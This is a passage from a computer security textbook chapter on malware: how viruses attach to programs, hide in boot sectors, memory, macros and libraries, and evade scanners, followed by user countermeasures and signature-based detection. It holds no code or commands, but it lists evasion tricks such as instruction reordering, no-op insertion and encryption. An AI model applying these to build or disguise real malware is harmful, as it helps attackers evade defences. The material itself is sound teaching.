The virus can assume T’s name by replacing (or joining to) T’s code in a file struc- ture; this invocation technique is most appropriate for ordinary programs. The virus can overwrite T in storage (simply replacing the copy of T in storage, for example). Alter- natively, the virus can change the pointers in the file table so that the virus is located instead of T whenever T is accessed through the file system. These two cases are shown in Figure 3-22.

The virus can supplant T by altering the sequence that would have invoked T to now invoke the virus V; this invocation can replace parts of the resident operating system by modifying pointers to those resident parts, such as the table of handlers for different kinds of interrupts.

Embedding: Homes for Malware The malware writer may find it appealing to build these qualities into the malware:

• The malicious code is hard to detect.

• The malicious code is not easily destroyed or deactivated.

• The malicious code spreads infection widely.

• The malicious code can reinfect its home program or other programs.

key for a class of locks with relatively little effort because of a characteristic (vulnerability?) of these locks; the attack finds the master key one pin at a time. According to Schneier [SCH03] and Blaze, the characteristic was well known to locksmiths and lock-picking criminals, but not to the general public (users). A respected cryptographer, Blaze came upon his strategy naturally: His approach is analogous to a standard cryptologic attack in which one seeks to deduce the cryptographic key one bit at a time.

Blaze confronted an important question: Is it better to document a tech- nique known by manufacturers and attackers but not to users, or to leave users with a false sense of security? He opted for disclosure. Schneier notes that this weakness has been known for over 100 years and that several other master key designs are immune from Blaze’s attack. But those locks are not in widespread use because customers are unaware of the risk and thus do not demand stronger products. Says Schneier, “I’d rather have as much information as I can to make informed decisions about security.”

186 Chapter 3 Programs and Programming

• The malicious code is easy to create.

• The malicious code is machine independent and operating system independent.

Few examples of malware meet all these criteria. The writer chooses from these objec- tives when deciding what the code will do and where it will reside.

Just a few years ago, the challenge for the virus writer was to write code that would be executed repeatedly so that the virus could multiply. Now, however, one execution is usually enough to ensure widespread distribution. Many kinds of malware are transmit- ted by email. For example, some examples of malware generate a new email message to all addresses in the victim’s address book. These new messages contain a copy of the malware so that it propagates widely. Often the message is a brief, chatty, nonspecific message that would encourage the new recipient to open the attachment from a friend (the first recipient). For example, the subject line or message body may read “I thought you might enjoy this picture from our vacation.”

One-Time Execution (Implanting) Malicious code often executes a one-time process to transmit or receive and install the infection. Sometimes the user clicks to download a file, other times the user opens an attachment, and other times the malicious code is downloaded silently as a web page is displayed. In any event, this first step to acquire and install the code must be quick and not obvious to the user.

(a) Overwriting T

(b) Changing Pointers

Before After File





File Directory




File Directory



File Directory




FIGURE 3-22 Virus V Replacing Target T

Section 3.2 Malicious Code—Malware 187

Boot Sector Viruses A special case of virus attachment, but formerly a fairly popular one, is the so-called boot sector virus. Attackers are interested in creating continuing or repeated harm, instead of just a one-time assault. For continuity the infection needs to stay around and become an integral part of the operating system. In such attackers, the easy way to become permanent is to force the harmful code to be reloaded each time the system is restarted. Actually, a similar technique works for most types of malicious code, so we first describe the process for viruses and then explain how the technique extends to other types.

When a computer is started, control begins with firmware that determines which hardware components are present, tests them, and transfers control to an operating sys- tem. A given hardware platform can run many different operating systems, so the oper- ating system is not coded in firmware but is instead invoked dynamically, perhaps even by a user’s choice, after the hardware test.

Modern operating systems consist of many modules; which modules are included on any computer depends on the hardware of the computer and attached devices, loaded software, user preferences and settings, and other factors. An executive oversees the boot process, loading and initiating the right modules in an acceptable order. Putting together a jigsaw puzzle is hard enough, but the executive has to work with pieces from many puzzles at once, somehow putting together just a few pieces from each to form a consistent, connected whole, without even a picture of what the result will look like when it is assembled. Some people see flexibility in such a wide array of connectable modules; others see vulnerability in the uncertainty of which modules will be loaded and how they will interrelate.

Malicious code can intrude in this bootstrap sequence in several ways. An assault can revise or add to the list of modules to be loaded, or substitute an infected module for a good one by changing the address of the module to be loaded or by substituting a modified routine of the same name. With boot sector attacks, the assailant changes the pointer to the next part of the operating system to load, as shown in Figure 3-23.

The boot sector is an especially appealing place to house a virus. The virus gains control early in the boot process, before most detection tools are active, so that it can avoid, or at least complicate, detection. The files in the boot area are crucial parts of the operating system. Consequently, to keep users from accidentally modifying or deleting them with disastrous results, the operating system makes them “invisible” by not show- ing them as part of a normal listing of stored files, thereby preventing their deletion. Thus, the virus code is not readily noticed by users.

Operating systems have gotten large and complex since the first viruses. The boot process is still the same, but many more routines are activated during the boot process; many programs—often hundreds of them—run at startup time. The operating system, device handlers, and other necessary applications are numerous and have unintelligible names, so malicious code writers do not need to hide their code completely; probably a user even seeing a file named malware.exe, would more likely think the file a joke than some real malicious code. Burying the code among other system routines and placing the code on the list of programs started at computer startup are current techniques to ensure that a piece of malware is reactivated.

188 Chapter 3 Programs and Programming

Memory-Resident Viruses Some parts of the operating system and most user programs execute, terminate, and dis- appear, with their space in memory then being available for anything executed later. For frequently used parts of the operating system and for a few specialized user programs, it would take too long to reload the program each time it is needed. Instead, such code remains in memory and is called “resident” code. Examples of resident code are the routine that interprets keys pressed on the keyboard, the code that handles error condi- tions that arise during a program’s execution, or a program that acts like an alarm clock, sounding a signal at a time the user determines. Resident routines are sometimes called TSRs or “terminate and stay resident” routines.

Virus writers also like to attach viruses to resident code because the resident code is activated many times while the machine is running. Each time the resident code runs, the virus does too. Once activated, the virus can look for and infect uninfected carriers. For example, after activation, a boot sector virus might attach itself to a piece of resi- dent code. Then, each time the virus was activated, it might check whether any remov- able disk in a disk drive was infected and, if not, infect it. In this way the virus could spread its infection to all removable disks used during the computing session.

A virus can also modify the operating system’s table of programs to run. Once the virus gains control, it can insert a registry entry so that it will be reinvoked each time the system restarts. In this way, even if the user notices and deletes the executing copy of the virus from memory, the system will resurrect the virus on the next system restart.

For general malware, executing just once from memory has the obvious disadvan- tage of only one opportunity to cause malicious behavior, but on the other hand, if the

Bootstrap Loader

System Initialization

Virus Code

System Initialization

Bootstrap Loader

(a) Before infection

(b) After infection

Boot Sector

Boot Sector


chain chain

Other Sectors

Other Sectors

FIGURE 3-23 Boot or Initialization Time Virus

Section 3.2 Malicious Code—Malware 189

infectious code disappears whenever the machine is shut down, the malicious code is less likely to be analyzed by security teams.

Other Homes for Viruses A virus that does not take up residence in one of these cozy establishments has to fend for itself. But that is not to say that the virus will go homeless.

You might think that application programs—code—can do things, but that data files—documents, spreadsheets, document image PDF files, or pictures—are passive objects that cannot do harmful things. In fact, however, these structured data files con- tain commands to display and manipulate their data. Thus, a PDF file is displayed by a program such as Adobe Reader that does many things in response to commands in the PDF file. Although such a file is not executable as a program itself, it can cause activity in the program that handles it. Such a file is called interpretive data, and the handler program is also called an interpreter. The Adobe Reader program is an interpreter for PDF files. If there is a flaw in the PDF interpreter or the semantics of the PDF interpre- tive language, opening a PDF file can cause the download and execution of malicious code. So even an apparently passive object like a document image can lead to a mali- cious code infection.

One popular home for a virus is an application program. Many applications, such as word processors and spreadsheets, have a “macro” feature, by which a user can record a series of commands and then repeat the entire series with one invocation. Such pro- grams also provide a “startup macro” that is executed every time the application is executed. A virus writer can create a virus macro that adds itself to the startup directives for the application. It also then embeds a copy of itself in data files so that the infection spreads to anyone receiving one or more of those files. Thus, the virus writer effectively adds malware to a trusted and commonly used application, thereby assuring repeated activations of the harmful addition.

Code libraries are also excellent places for malicious code to reside. Because librar- ies are used by many programs, the code in them will have a broad effect. Additionally, libraries are often shared among users and transmitted from one user to another, a prac- tice that spreads the infection. Finally, executing code in a library can pass on the viral infection to other transmission media. Compilers, loaders, linkers, runtime monitors, runtime debuggers, and even virus control programs are good candidates for hosting viruses because they are widely shared.


The final objective for a malicious code writer is stealth: avoiding detection during installation, while executing, or even at rest in storage.

Detection Malicious code discovery could be aided with a procedure to determine if two programs are equivalent: We could write a program with a known harmful effect, and then com- pare with any other suspect program to determine if the two have equivalent results. However, this equivalence problem is complex, and theoretical results in computing

Most viruses maintain stealth by concealing their action, not announcing their presence, and disguising their appearance.

190 Chapter 3 Programs and Programming

suggest that a general solution is unlikely. In complexity theory, we say that the general question “Are these two programs equivalent?” is undecidable (although that question can be answered for many specific pairs of programs).

Even if we ignore the general undecidability problem, we must still deal with a great deal of uncertainty about what equivalence means and how it affects security. Two mod- ules may be practically equivalent but produce subtly different results that may—or may not—be security relevant. One may run faster, or the first may use a temporary file for workspace, whereas the second performs all its computations in memory. These differences could be benign, or they could be a marker of an infection. Therefore, we are unlikely to develop a screening program that can separate infected modules from uninfected ones.

Although the general case is dismaying, the particular is not. If we know that a par- ticular virus may infect a computing system, we can check for its “signature” and detect it if it is there. Having found the virus, however, we are left with the task of cleansing the system of it. Removing the virus in a running system requires being able to detect and eliminate its instances faster than it can spread.

The examples we have just given describe several ways in which malicious code arrives at a target computer, but they do not answer the question of how the code is first executed and continues to be executed. Code from a web page can simply be injected into the code the browser executes, although users’ security settings within browsers may limit what that code can do. More generally, however, code writers try to find ways to associate their code with existing programs, in ways such as we describe here, so that the “bad” code executes whenever the “good” code is invoked.

Installation Stealth We have described several approaches used to transmit code without the user’s being aware, including downloading as a result of loading a web page and advertising one function while implementing another. Malicious code designers are fairly competent at tricking the user into accepting malware.

Execution Stealth Similarly, remaining unnoticed during execution is not too difficult. Modern operating systems often support dozens of concurrent processes, many of which have unrecogniz- able names and functions. Thus, even if a user does notice a program with an unrecog- nized name, the user is more likely to accept it as a system program than malware.

Stealth in Storage If you write a program to distribute to others, you will give everyone a copy of the same thing. Except for some customization (such as user identity details or a product serial number) your routine will be identical to everyone else’s. Even if you have dif- ferent versions, you will probably structure your code in two sections: as a core rou- tine for everyone and some smaller modules specific to the kind of user—home user, small business professional, school personnel, or large enterprise customer. Designing your code this way is the economical approach for you: Designing, coding, testing, and maintaining one entity for many customers is less expensive than doing that for each

Section 3.2 Malicious Code—Malware 191

individual sale. Your delivered and installed code will then have sections of identical instructions across all copies.

Antivirus and other malicious code scanners look for patterns because malware writ- ers have the same considerations you would have in developing mass-market software: They want to write one body of code and distribute it to all their victims. That identical code becomes a pattern on disk for which a scanner can search quickly and efficiently.

Knowing that scanners look for identical patterns, malicious code writers try to vary the appearance of their code in several ways:

• Rearrange the order of modules.

• Rearrange the order of instructions (when order does not affect execution; for example A :� 1; B :� 2 can be rearranged with no detrimental effect).

• Insert instructions, (such as A :� A), that have no impact.

• Insert random strings (perhaps as constants that are never used).

• Replace instructions with others of equivalent effect, such as replacing A :� B �1 with A :� B � (�1) or A :� B � 2 � 1.

• Insert instructions that are never executed (for example, in the else part of a conditional expression that is always true).

These are relatively simple changes for which a malicious code writer can build a tool, producing a unique copy for every user. Unfortunately (for the code writer), even with a few of these changes on each copy, there will still be recognizable identical sec- tions. We discuss this problem for the malware writer later in this chapter as we con- sider virus scanners as countermeasures to malicious code.

Now that we have explored the threat side of malicious code, we turn to vulner- abilities. As we showed in Chapter 1, a threat is harmless without a vulnerability it can exploit. Unfortunately, exploitable vulnerabilities abound for malicious code.

Introduction of Malicious Code

The easiest way for malicious code to gain access to a system is to be introduced by a user, a system owner, an administrator, or other authorized agent.

The only way to prevent the infection of a virus is not to receive executable code from an infected source. This philosophy used to be easy to follow because it was easy to tell if a file was executable or not. For example, on PCs, a .exe extension was a clear sign that the file was executable. However, as we have noted, today’s files are more complex, and a seemingly nonexecutable file with a .doc extension may have some exe- cutable code buried deep within it. For example, a word processor may have commands within the document file. As we noted earlier, these commands, called macros, make it easy for the user to do complex or repetitive things, but they are really executable code embedded in the context of the document. Similarly, spreadsheets, presentation slides, other office or business files, and even media files can contain code or scripts that can be executed in various ways—and thereby harbor viruses. And, as we have seen, the applications that run or use these files may try to be helpful by automatically invoking the executable code, whether you want it to run or not! Against the principles of good security, email handlers can be set to automatically open (without performing access

192 Chapter 3 Programs and Programming

control) attachments or embedded code for the recipient, so your email message can have animated bears dancing across the top.

Another approach virus writers have used is a little-known feature in the Microsoft file design that deals with file types. Although a file with a .doc extension is expected to be a Word document, in fact, the true document type is hidden in a field at the start of the file. This convenience ostensibly helps a user who inadvertently names a Word document with a .ppt (PowerPoint) or any other extension. In some cases, the operat- ing system will try to open the associated application but, if that fails, the system will switch to the application of the hidden file type. So, the virus writer creates an execut- able file, names it with an inappropriate extension, and sends it to the victim, describing it as a picture or a necessary code add-in or something else desirable. The unwitting recipient opens the file and, without intending to, executes the malicious code.

More recently, executable code has been hidden in files containing large data sets, such as pictures or read-only documents, using a process called steganography. These bits of viral code are not easily detected by virus scanners and certainly not by the human eye. For example, a file containing a photograph may be highly detailed, often at a resolution of 600 or more points of color (called pixels) per inch. Changing every sixteenth pixel will scarcely be detected by the human eye, so a virus writer can conceal the machine instructions of the virus in a large picture image, one bit of code for every sixteen pixels.

Execution Patterns A virus writer may want a virus to do several things at the same time, namely, spread infection, avoid detection, and cause harm. These goals are shown in Table 3-4, along with ways each goal can be addressed. Unfortunately, many of these behaviors are per- fectly normal and might otherwise go undetected. For instance, one goal is modifying the file directory; many normal programs create files, delete files, and write to storage media. Thus, no key signals point to the presence of a virus.

Most virus writers seek to avoid detection for themselves and their creations. Because a disk’s boot sector is not visible to normal operations (for example, the contents of the boot sector do not show on a directory listing), many virus writers hide their code there. A resident virus can monitor disk accesses and fake the result of a disk operation that would show the virus hidden in a boot sector by showing the data that should have been in the boot sector (which the virus has moved elsewhere).

There are no limits to the harm a virus can cause. On the modest end, the virus might do nothing; some writers create viruses just to show they can do it. Or the virus can be relatively benign, displaying a message on the screen, sounding the buzzer, or playing music. From there, the problems can escalate. One virus can erase files, another an entire disk; one virus can prevent a computer from booting, and another can prevent writing to disk. The damage is bounded only by the creativity of the virus’s author.

Transmission Patterns A virus is effective only if it has some means of transmission from one location to another. As we have already seen, viruses can travel during the boot process by attaching

Steganography permits data to be hidden in large, complex, redundant data sets.

Section 3.2 Malicious Code—Malware 193

to an executable file or traveling within data files. The travel itself occurs during execu- tion of an already infected program. Since a virus can execute any instructions a pro- gram can, virus travel is not confined to any single medium or execution pattern. For example, a virus can arrive on a diskette or from a network connection, travel during its host’s execution to a hard disk boot sector, reemerge next time the host computer is booted, and remain in memory to infect other diskettes as they are accessed.

Polymorphic Viruses The virus signature may be the most reliable way for a virus scanner to identify a virus. If a particular virus always begins with the string 0x47F0F00E08 and has string 0x00113FFF located at word 12, other programs or data files are not likely to have these exact characteristics. For longer signatures, the probability of a correct match increases.

If the virus scanner will always look for those strings, then the clever virus writer can cause something other than those strings to be in those positions. Certain instructions cause no effect, such as adding 0 to a number, comparing a number to itself, or jump- ing to the next instruction. These instructions, sometimes called no-ops (for “no opera- tion”), can be sprinkled into a piece of code to distort any pattern. For example, the virus could have two alternative but equivalent beginning words; after being installed, the virus will choose one of the two words for its initial word. Then, a virus scanner

TABLE 3-4 Virus Effects and What They Cause

Virus Effect How It Is Caused

Attach to executable program • Modify file directory • Write to executable program file

Attach to data or control file • Modify directory • Rewrite data • Append to data • Append data to self

Remain in memory • Intercept interrupt by modifying interrupt handler address table • Load self in nontransient memory area

Infect disks • Intercept interrupt • Intercept operating system call (to format disk, for example) • Modify system file • Modify ordinary executable program

Conceal self • Intercept system calls that would reveal self and falsify result • Classify self as “hidden” file

Spread infection • Infect boot sector • Infect system program • Infect ordinary program • Infect data ordinary program reads to control its execution

Prevent deactivation • Activate before deactivating program and block deactivation • Store copy to reinfect after deactivation

194 Chapter 3 Programs and Programming

would have to look for both patterns. A virus that can change its appearance is called a polymorphic virus. (Poly means “many” and morph means “form.”)

A two-form polymorphic virus can be handled easily as two independent viruses. Therefore, the virus writer intent on preventing detection of the virus will want either a large or an unlimited number of forms so that the number of possible forms is too large for a virus scanner to search for. Simply embedding a random number or string at a fixed place in the executable version of a virus is not sufficient, because the signature of the virus is just the unvaried instructions, excluding the random part. A polymorphic virus has to randomly reposition all parts of itself and randomly change all fixed data. Thus, instead of containing the fixed (and therefore searchable) string “HA! INFECTED BY A VIRUS,” a polymorphic virus has to change even that pattern sometimes.

Trivially, assume a virus writer has 100 bytes of code and 50 bytes of data. To make two virus instances different, the writer might distribute the first version as 100 bytes of code followed by all 50 bytes of data. A second version could be 99 bytes of code, a jump instruction, 50 bytes of data, and the last byte of code. Other versions are 98 code bytes jumping to the last two, 97 and three, and so forth. Just by moving pieces around, the virus writer can create enough different appearances to fool simple virus scanners. Once the scanner writers became aware of these kinds of tricks, however, they refined their signature definitions and search techniques.

A simple variety of polymorphic virus uses encryption under various keys to make the stored form of the virus different. These are sometimes called encrypting viruses. This type of virus must contain three distinct parts: a decryption key, the (encrypted) object code of the virus, and the (unencrypted) object code of the decryption routine. For these viruses, the decryption routine itself or a call to a decryption library routine must be in the clear, and so that becomes the signature. (See [PFL10d] for more on virus writers’ use of encryption.)

To avoid detection, not every copy of a polymorphic virus has to differ from every other copy. If the virus changes occasionally, not every copy will match a signature of every other copy.

Because you cannot always know which sources are infected, you should assume that any outside source is infected. Fortunately, you know when you are receiving code from an outside source; unfortunately, cutting off all contact with the outside world is not feasible. Malware seldom comes with a big warning sign and, in fact, as Sidebar 3-8 shows, malware is often designed to fool the unsuspecting.

SIDEBAR 3-8 Malware Non-Detector

In May 2010, the United States issued indictments against three men charged with deceiving people into believing their computers had been infected with malicious code [FBI10]. The three men set up computer sites that would first report false and misleading computer error messages and then indicate that the users’ computers were infected with various forms of malware.

According to the indictment, after the false error messages were transmitted, the sites then induced Internet users to purchase software products bearing such names as “DriveCleaner” and “ErrorSafe,” ranging

Section 3.2 Malicious Code—Malware 195

As we saw in Sidebar 3-8, there may be no better way to entice a security-conscious user than to offer a free security scanning tool. Several legitimate antivirus scanners, including ones from the Anti-Virus Group (AVG) and Microsoft, are free. However, other scanner offers provide malware, with effects ranging from locking up a computer to demanding money to clean up nonexistent infections. As with all software, be careful acquiring software from unknown sources.

Natural Immunity

In their interesting paper comparing computer virus transmission with human disease transmission, Kephart et al. [KEP93] observe that individuals’ efforts to keep their computers free from viruses lead to communities that are generally free from viruses because members of the community have little (electronic) contact with the outside world. In this case, transmission is contained not because of limited contact but because of limited contact outside the community, much as isolated human communities seldom experience outbreaks of communicable diseases such as measles.

For this reason, governments often run disconnected network communities for handling top military or diplomatic secrets. The key to success seems to be choosing one’s community prudently. However, as use of the Internet and the World Wide Web increases, such separation is almost impossible to maintain. Furthermore, in both human

in price from approximately $30 to $70, that the web sites claimed would rid the victims’ computers of the infection, but actually did little or nothing to improve or repair computer performance. The U.S. Federal Bureau of Investigation (FBI) estimated that the sites generated over $100 million for the perpetrators of the fraud.

The perpetrators allegedly enabled the fraud by establishing adver- tising agencies that sought legitimate client web sites on which to host advertisements. When a victim user went to the client’s site, code in the malicious web advertisement hijacked the user’s browser and generated the false error messages. The user was then redirected to what is called a scareware web site, to scare users about a computer security weakness. The site then displayed a graphic purporting to monitor the scanning of the victim’s computer for malware, of which (not surprisingly) it found a signifi- cant amount. The user was then invited to click to download a free malware eradicator, which would appear to fix only a few vulnerabilities and would then request the user to upgrade to a paid version to repair the rest.

Two of the three indicted are U.S. citizens, although one was believed to be living in Ukraine; the third was Swedish and believed to be living in Sweden. All were charged with wire fraud and computer fraud. The three ran a company called Innovative Marketing that was closed under action by the U.S. Federal Trade Commission (FTC), alleging the sale of fraudulent anti-malware software, between 2003 and 2008.

The advice for innocent users seems to be both “trust but verify” and “if it ain’t broke; don’t fix it.” That is, if you are being lured into buying secu- rity products, your skeptical self should first run your own trusted malware scanner to verify that there is indeed malicious code lurking on your system.

196 Chapter 3 Programs and Programming

and computing communities, natural defenses tend to be lower, so if an infection does occur, it often spreads unchecked. Human computer users can be naïve, uninformed, and lax, so the human route to computer infection is likely to remain important.

Malware Toolkits

A bank robber has to learn and practice the trade all alone. There is no Bank Robbing for Dummies book (at least none of which we are aware), and a would-be criminal can- not send off a check and receive a box containing all the necessary tools. There seems to be a form of apprenticeship as new criminals work with more experienced ones, but this is a difficult, risky, and time-consuming process, or at least it seems that way to us outsiders.

Computer attacking is somewhat different. First, there is a thriving underground of web sites for hackers to exchange techniques and knowledge. (As with any web site, the reader has to assess the quality of the content.) Second, attackers can often experiment in their own laboratories (homes) before launching public strikes. Most importantly, mal- ware toolkits are readily available for sale. A would-be assailant can acquire, install, and activate one of these as easily as loading and running any other software; using one is easier than many computer games. Such a toolkit takes as input a target address and, when the user presses the [Start] button, it launches a probe for a range of vulnerabilities. Such toolkit users, who do not need to understand the vulnerabilities they seek to exploit, are known as script kiddies. As we noted earlier in this chapter, these toolkits often exploit old vulnerabilities for which defenses have long been pub- licized. Still, these toolkits are effec- tive against many victims.

Ease of use means that attackers do not have to understand, much less create, their own attacks. For this reason, it would seem as if offense is easier than defense in com- puter security, which is certainly true. Remember that the defender must protect against all possible threats, but the assailant only has to find one uncovered vulnerability.


So far we have described the techniques by which malware writers can transmit, con- ceal, and activate their evil products. If you have concluded that these hackers are clever, crafty, diligent, and devious, you are right. And they never seem to stop working. Anti- virus software maker McAfee reports identifying 200 distinct, new pieces of malware per minute. At the start of 2012 their malware library contained slightly fewer than 100 million items and by the end of 2013 it had over 196 million [MCA14].

Faced with such a siege, users are hard pressed to protect themselves, and the secu- rity defense community in general is strained. However, all is not lost. The available countermeasures are not perfect, some are reactive—after the attack succeeds—rather than preventive, and all parties from developers to users must do their part. In this sec- tion we survey the countermeasures available to keep code clean and computing safe.

Malware toolkits let novice attackers probe for many vulnerabilities at the press of a button.

Section 3.3 Countermeasures 197

We organize this section by who must take action: users or developers, and then we add a few suggestions that seem appealing but simply do not work.

Countermeasures for Users

Users bear the most harm from malware infection, so users have to implement the first line of protection. Users can do this by being skeptical of all code, with the degree of skepticism rising as the source of the code becomes less trustworthy.

User Vigilance

The easiest control against malicious code is hygiene: not engaging in behavior that permits malicious code contamination. The two components of hygiene are avoiding points of contamination and blocking avenues of vulnerability.

To avoid contamination, you could simply not use your computer systems—not a realistic choice in today’s world. But, as with preventing colds and the flu, there are sev- eral techniques for building a reasonably safe community for electronic contact, includ- ing the following:

• Use only commercial software acquired from reliable, well-established vendors. There is always a chance that you might receive a virus from a large manufac- turer with a name everyone would recognize. However, such enterprises have significant reputations that could be seriously damaged by even one bad inci- dent, so they go to some degree of trouble to keep their products virus free and to patch any problem-causing code right away. Similarly, software distribution companies will be careful about products they handle.

• Test all new software on an isolated computer. If you must use software from a questionable source, test the software first on a computer that is not connected to a network and contains no sensitive or important data. Run the software and look for unexpected behavior, even simple behavior such as unexplained figures on the screen. Test the computer with a copy of an up-to-date virus scanner cre- ated before the suspect program is run. Only if the program passes these tests should you install it on a less isolated machine.

• Open attachments—and other potentially infected data files—only when you know them to be safe. What constitutes “safe” is up to you, as you have prob- ably already learned in this chapter. Certainly, an attachment from an unknown source is of questionable safety. You might also distrust an attachment from a known source but with a peculiar message or description.

• Install software—and other potentially infected executable code files—only when you really, really know them to be safe. When a software package asks to install software on your system (including plug-ins or browser helper objects), be really suspicious.

• Recognize that any web site can be potentially harmful. You might reasonably assume that sites run by and for hackers are risky, as are sites serving pornog- raphy, scalping tickets, or selling contraband. You might also be wary of sites located in certain countries; Russia, China, Brazil, Korea, and India are often

198 Chapter 3 Programs and Programming

near the top of the list for highest proportion of web sites containing malicious code. A web site could be located anywhere, although a .cn or .ru at the end of a URL associates the domain with China or Russia, respectively. However, the United States is also often high on such lists because of the large number of web-hosting providers located there.

• Make a recoverable system image and store it safely. If your system does become infected, this clean version will let you reboot securely because it over- writes the corrupted system files with clean copies. For this reason, you must keep the image write-protected during reboot. Prepare this image now, before infection; after infection is too late. For safety, prepare an extra copy of the safe boot image.

• Make and retain backup copies of executable system files. This way, in the event of a virus infection, you can remove infected files and reinstall from the clean backup copies (stored in a secure, offline location, of course). Also make and retain backups of important data files that might contain infectable code; such files include word-processor documents, spreadsheets, slide presentations, pic- tures, sound files, and databases. Keep these backups on inexpensive media, such as CDs or DVDs, a flash memory device, or a removable disk so that you can keep old backups for a long time. In case you find an infection, you want to be able to start from a clean backup, that is, one taken before the infection.

As for blocking system vulnerabilities, the recommendation is clear but problem- atic. As new vulnerabilities become known you should apply patches. However, finding flaws and fixing them under time pressure is often less than perfectly effective. Zero- day attacks are especially problematic, because a vulnerability presumably unknown to the software writers is now being exploited, so the manufacturer will press the develop- ment and maintenance team hard to develop and disseminate a fix. Furthermore, sys- tems run many different software products from different vendors, but a vendor’s patch cannot and does not consider possible interactions with other software. Thus, not only may a patch not repair the flaw for which it was intended, but it may fail or cause fail- ure in conjunction with other software. Indeed, cases have arisen where a patch to one software application has been “recognized” incorrectly by an antivirus checker to be malicious code—and the system has ground to a halt. Thus, we recommend that you should apply all patches promptly except when doing so would cause more harm than good, which of course you seldom know in advance.

Still, good hygiene and self-defense are important controls users can take against malicious code. Most users rely on tools, called virus scanners or malicious code detectors, to guard against malicious code that some- how makes it onto a system.

Virus Detectors

Virus scanners are tools that look for signs of malicious code infection. Most such tools look for a signature or fingerprint, a telltale pattern in program files or memory. As we

Virus detectors are powerful but not all- powerful.

Section 3.3 Countermeasures 199

show in this section, detection tools are generally effective, meaning that they detect most examples of malicious code that are at most somewhat sophisticated. Detection tools do have two major limitations, however.

First, detection tools are necessarily retrospective, looking for patterns of known infections. As new infectious code types are developed, tools need to be updated fre- quently with new patterns. But even with frequent updates (most tool vendors recom- mend daily updates), there will be infections that are too new to have been analyzed and included in the latest pattern file. Thus, a malicious code writer has a brief window, as little as hours or a day but perhaps longer if a new strain evades notice of the pattern analysts, during which the strain’s pattern will not be in the database. Even though a day is a short window of opportunity, it is enough to achieve significant harm.

Second, patterns are necessarily static. If malicious code always begins with, or even contains, the same four instructions, the binary code of those instructions may be the invariant pattern for which the tool searches. Because tool writers want to avoid misclassifying good code as malicious, they seek the longest pattern they can: Two programs, one good and one malicious, might by chance contain the same four instruc- tions. But the longer the pattern string, the less likely a benign program will match that pattern, so longer patterns are desirable. Malicious code writers are conscious of pattern matching, so they vary their code to reduce the number of repeated patterns. Sometimes minor perturbations in the order of instructions is insignificant. Thus, in the example, the dominant pattern might be instructions A-B-C-D, in that order. But the program’s logic might work just as well with instructions B-A-C-D, so the malware writer will send out half the code with instructions A-B-C-D and half with B-A-C-D. Do-nothing instructions, such as adding 0 or subtracting 1 and later adding 1 again or replacing a data variable with itself, can be slipped into code at various points to break repetitive patterns. Longer patterns are more likely to be broken by a code modification. Thus, the virus detector tool writers have to discern more patterns for which to check.

Both timeliness and variation limit the effectiveness of malicious code detectors. Still, these tools are largely successful, and so we study them now. You should also note in Sidebar 3-9 that antivirus tools can also help people who do not use the tools.

Symantec, maker of the Norton antivirus software packages, announced in a 4 May 2014 Wall Street Journal article that antivirus technology is dead. They contend that rec- ognizing malicious code on a system is a cat-and-mouse game: Malware signatures will always be reactive, reflecting code patterns discovered yesterday, and heuristics detect suspicious behavior but must forward code samples to a laboratory for human analysis and confirmation. Attackers are getting more skillful at evading detection by both pat- tern matchers and heuristic detectors. Furthermore, in the article, Symantec’s Senior Vice President for Information Security admitted that antivirus software catches only 45 percent of malicious code. In the past, another vendor, FireEye, has also denounced these tools as ineffective. Both vendors prefer more specialized monitoring and analysis services, of which antivirus scanners are typically a first line of defense.

Does this statistic mean that people should abandon virus checkers? No, for two reasons. First, 45 percent still represents a solid defense, when you consider that there are now over 200 million specimens of malicious code in circulation [MCA14]. Second,

200 Chapter 3 Programs and Programming

recognize that the interview was in the Wall Street Journal, a popular publication for business and finance executives. Antivirus products make money; otherwise there would not be so many of them on the market. However, consulting services can make even more money, too. The Symantec executive was making the point that businesses, whose executives read the Wall Street Journal, need to invest also in advisors who will study a business’s computing activity, identify shortcomings, and recommend remedia- tion. And in the event of a security incident, organizations will need similar advice on the cause of the case, the amount and nature of harm suffered, and the next steps for further protection.

Virus Signatures A virus cannot be completely invisible. Code must be stored somewhere, and the code must be in memory to execute. Moreover, the virus executes in a particular way, using certain methods to spread. Each of these characteristics yields a telltale pattern, called a signature, that can be found by a program that looks for it. The virus’s signature is important for creating a program, called a virus scanner, that can detect and, in some cases, remove viruses. The scanner searches memory and long-term storage, monitor- ing execution and watching for the telltale signatures of viruses. For example, a scanner

SIDEBAR 3-9 Free Security

Whenever influenza threatens, governments urge all citizens to get a flu vaccine. Not everyone does, but the vaccines manage to keep down the incidence of flu nevertheless. As long as enough people are vaccinated, the whole population gets protection. Such protection is called “herd immunity,” because all in the group are protected by the actions of most, usually because enough vaccination occurs to prevent the infection from spreading.

In a similar way, sometimes parts of a network without security are protected by the other parts that are secure. For example, a node on a network may not incur the expense of antivirus software or a firewall, know- ing that a virus or intruder is not likely to get far if the others in the network are protected. So the “free riding” acts as a disincentive to pay for security; the one who shirks security gets the benefit from the others’ good hygiene.

The same kind of free-riding discourages reporting of security attacks and breaches. As we have seen, it may be costly for an attacked organiza- tion to report a problem, not just in terms of the resources invested in report- ing but also in negative effects on reputation or stock price. So free-riding provides an incentive for an attacked organization to wait for someone else to report it, and then benefit from the problem’s resolution. Similarly, if a second organization experiences an attack and shares its information and successful response techniques with others, the first organization receives the benefits without bearing any of the costs. Thus, incentives matter, and technology without incentives to understand and use it properly may in fact be ineffective technology.

Section 3.3 Countermeasures 201

looking for signs of the Code Red worm can look for a pattern containing the following characters:


When the scanner recognizes a known virus’s pattern, it can then block the virus, inform the user, and deactivate or remove the virus. However, a virus scanner is effective only if it has been kept up-to-date with the latest information on current viruses.

Code Analysis Another approach to detecting an infection is to analyze the code to determine what it does, how it propagates and perhaps even where it originated. That task is difficult, however.

The first difficulty with analyzing code is that the researcher normally has only the end product to look at. As Figure 3-24 shows, a programmer writes code in some high- level language, such as C, Java, or C#. That code is converted by a compiler or inter- preter into intermediate object code; a linker adds code of standard library routines and packages the result into machine code that is executable. The higher-level language code uses meaningful variable names, comments, and documentation techniques to make the code meaningful, at least to the programmer.

During compilation, all the structure and documentation are lost; only the raw instructions are preserved. To load a program for execution, a linker merges called library routines and performs address translation. If the code is intended for propaga- tion, the attacker may also invoke a packager, a routine that strips out other identifying information and minimizes the size of the combined code block.

